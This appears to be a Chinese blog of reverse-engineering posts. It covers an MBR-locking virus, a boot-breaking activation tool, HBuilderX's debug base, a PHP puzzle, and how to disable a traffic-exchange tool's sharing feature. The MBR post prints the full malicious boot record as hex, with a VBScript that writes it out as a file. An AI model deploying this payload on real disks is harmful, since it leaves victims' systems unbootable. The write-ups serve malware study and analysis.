分析
分析

【闲篇】对一款MBR病毒的分析

MBR是主引导记录,能不能进入系统全指望它。现在有些病毒也瞄上了它。刚看帖看到一个人说中了这种病毒,并给了一个样本,所以就分析一下。如有错误还望指出。


中毒后表现:(由于第一次直接解密后mbr已经清掉。所以显示的ID和分析的不一致。)


屏幕快照 2019-01-15 下午10.04.59.png


主程序是一个vm加壳后的程序,运行后有一个界面,有一个按钮,点击后会重写你的mbr,mbr代码如下。


屏幕快照 2019-01-15 下午9.57.39.png


上述是mbr的十六进制展示格式,要分析的话还是需要转换成字节。写了个VBScript的脚本来做转换。



WriteData = "E900008CC88ED88ED08EC0BC0001BDED7CBBED7CE8B00089C1B80113BB0C00B200CD10B800B805A0008ED831C931DB31C0CD163C0874133C0D741BB402880788670181C3020041E9E5FF81EB02004931C08907E9D9FF8CC88EC031DBBEDA7C2E8A0ED97CB5003E8A07268A2438E0753181C3020046E2EF31C0B8007E8EC031DBB402B280B001B600B500B103CD1331DBB280B403B001B600B500B101CD13E91D00BB00B881C33800B05888072E8B0ED97C31C0890781C30200E2F8E945FFB8FFFF50B8000050CB51533E8A0F80F90074054340E9F3FF595BC307394439373346670000000000000000000000005151333339363239363734370D0A5151333131303038333234380D0A0D0A594F5552204944203D2042433033620D0A0D0A42793A58692059616E672059616E67000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055AA"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetFolder(".").Path & "\1.exe"
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
msgbox Mid(WriteData,i,2)
FileObj.Write chrw(cbyte("&h" & mid(WriteData,i,2)))
Next
FileObj.Close
End If


然后分析这个1.exe就可以了,拖到ida里,代码很少,只有512个字节,这也是mbr的固定大小。可以看到如下的关键代码,为了方便观看,所以备注了。



其中的39H,44H,39H,37H,33H,46H,67H就是密码。转成字符串就可以了。

浅酌小饮之激活工具的问题

前几天用激活工具激活系统的时候提示成功,但是重启电脑后无法正确开机,最后重装。今天同事告诉我,他激活后无限重启。于是我就想研究研究这个激活工具,下载了同事说的会让他无限重启的一个激活工具不知道版本是否正确。


屏幕快照 2018-12-21 下午11.03.00.png

看第一条pushad指令感觉它是加了一个压缩壳,所以用ESP寄存器脱一下壳就好了,不然后面的RC数据你是拿不到的。我第一次脱得时候直接卡住了调试工具。于是用了一个以前的技术脱壳的。


屏幕快照 2018-12-21 下午10.27.17.png


首先选择纠正映像大小,因为你载入内存这个大小是会变的,所以你还要修复一下。然后在点击完整脱壳。这种脱壳方式有个不好的地方就是它的输入输出表有可能不会帮你完整的dump下来。所以你还要在修复输入输出表。


屏幕快照 2018-12-21 下午10.26.25.png


一般遇到强壳,修复输入输出表指针的时候会出现问题。因为壳把你的指针给隐藏或者抽离再或者混淆。办法很多,所以这里的指针修复的话也有三个等级。都不行的话 可以尝试直接删除无效的指针。不过这次比较好,都是有效指针,直接转存修复就好了。


屏幕快照 2018-12-21 下午11.08.16.png


这个时候你在转存修复。就会是一个push ebp 一个32位的ebp寄存器入栈的操作,这个也叫领空。领空的开始代表是一个子程序的开始,只不过这里是主线程。


我尝试着找到了界面上激活的功能子程序开头。


屏幕快照 2018-12-21 下午11.10.47.png

但是进入其中一个call的时候会出现长时间等待,然后提示不支持我的系统。因为我的系统是xp。那没办法,直接静态的大致看一下流程。实际可以用ida来看,不过大晚上就不折腾了。看了下流程基本上是这样的:


检测360杀毒->KMS服务安装->slmgr->x0 


由于同事提到重启,我也看了下这个程序有没有调用系统的重启命令。发现并没有。这里提一下,所有的重启系统的操作最后都会接管到系统的ExitWindowsEx函数。


BOOL ExitWindowsEx(
  UINT  uFlags,
  DWORD dwReason
);


最后发现造成我系统无法进入系统的问题应该是引导被破坏了,因为这个软件进行了引导的读写操作,win10的引导实际和win7的方式不一样,采用了一个新的引导方式。所以可能不兼容导致我的电脑无法开机。同事的重启我倒是没看到为什么。有时间的话,后续也许会下载同事用的版本在好好的分析看看,这次只是因为好久不更新文章了,强行刷一篇吧。

HBuilderX 测试基座分析

微信截图_20181031145619.png


新建一个项目,Html代码如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
    <title></title>
    <script src="js/mui.min.js"></script>
    <link href="css/mui.min.css" rel="stylesheet"/>
    <script type="text/javascript" charset="utf-8">
      mui.init();
    </script>
</head>
<body>
<button>test</button> 
</body>
</html>


由于云打包还需要填写一些信息,这里就直接模拟器调试了。


微信截图_20181031144857.png


看这个界面感觉还是蛮不错的,点击按钮也有一些效果。不过后来更改了下代码。然后直接Ctrl+S。随着一些输出信息结束,发现模拟器的界面竟然也变化了。要知道,如果是正常的开发,这种上传操作,肯定会覆盖APP,导致APP关闭,然后在启动的。而这个却没有这一变化。于是感觉实际是一个webview。ADB通知APP重载而已。


验证如下:


首先查看这个基座的界面节点信息:


微信截图_20181031145109.png


展开树结构到最后一个节点,可以发现是一个WebView。而它载入的URL可以通过输出信息来查看。


微信截图_20181031145134.png

在内存卡的Android目录下面。逐级展开这个目录,会发现自己写的代码。


微信截图_20181031145209.png


这是HBuilder调试基座的一些信息,如果真实的APP也是这样的结构,这样的方式存储。那么就会存在一个问题。。。

php 运算与变量引用

在加群的时候遇到一个问题:

$a=1;
$b=&$a;
$c=$b++ + ++$a;

问:$c=?如果你放倒ide里去做,那么很容易可以得到是4;不过具体是怎么实现的。这里随便说一说。

首先$b=&$a;。注意这里的&在php里是引用的意思,相当于取内存空间领空地址。也就是指针。所以操作$b也相当于操作$a。$b++ + ++$a;这里是运算符优先级的问题。首先$b++实际是$b先参与运算,然后再自增。后面一个++$a正好相反。也就是相当于$c=1+3。


对流量精灵的一份分析

流量精灵:http://www.spiritsoft.cn/


这类软件基本上都是“我为人人,人人为我”的原则,你帮我刷,我帮你刷。这么浅显的原则,我们还分析它什么?实际呢,我们分析它的是怎么去掉自己刷的这个功能,因为我们需要刷的网址都是从服务器获取的,如果说其中有什么恶意网址,让自己的电脑中毒了呢,这跟我们的初衷是有违背的。于是带着怎么取消这个功能的目的。来探究一下。只让它实现刷自己的网址,而不刷别人的网址。


版本:2016.3.20.103。最新的一份程序


首先用PEID查一下壳,由于我的PEID是从百度软件里面下载的,可能特征码库不是很全。所以没识别出来。

QQ截图20180224134252.png

看一下几个区段。

QQ截图20180224134258.png

都很正常,感觉没有加壳的样子。用ollydbg载入一下吧。注:ollydbg版本用的是吾爱破解的据说很强

QQ截图20180224134550.png

开头直接call了一个地址,算是直接运行了一个函数。开头直接call的。感觉只有net有这种怪样式。一般其他程序push ebp比较多。因为ebp是一个比较重要的寄存器,压栈后可以寻找参数什么的。但是如果是unicode编码格式的又另当别论了,所以直接搜索一下中文Unicode吧。

QQ截图20180224134822.png

有惊喜,有内容。看着是明文,那就是没加壳的可能性比较大。实际本文用ollydbg的机会很少,这里只是演示一下一般流程。


http代理型分析软件:fiddle


分析这类程序,直接用http拦截工具就行。但是发现fiddle会漏掉一下tcp形式的发送。所以不用fiddle了。用另一款HttpAnalyzerStdV7。基于TCP的拦截,更全,更强大。

QQ截图20180224135307.png

拦截到两个post。很关键。第一个post是将我们要刷的网址,还有类型发送给服务器。128b205这几个字符是随机的。

QQ截图20180224135333.png

上述内容就是post data


我们来看post之后它又干了什么。访问了一个网址:http://urlspirit.spiritsoft.cn/urlcore/olcfgs.dat?q=41   

注意这个网址是get方式,所以我们可以直接用浏览器去访问。是一段加密文件,可以猜测,基本上是先从这个文件获取到点什么然后才开始的大面积刷网页。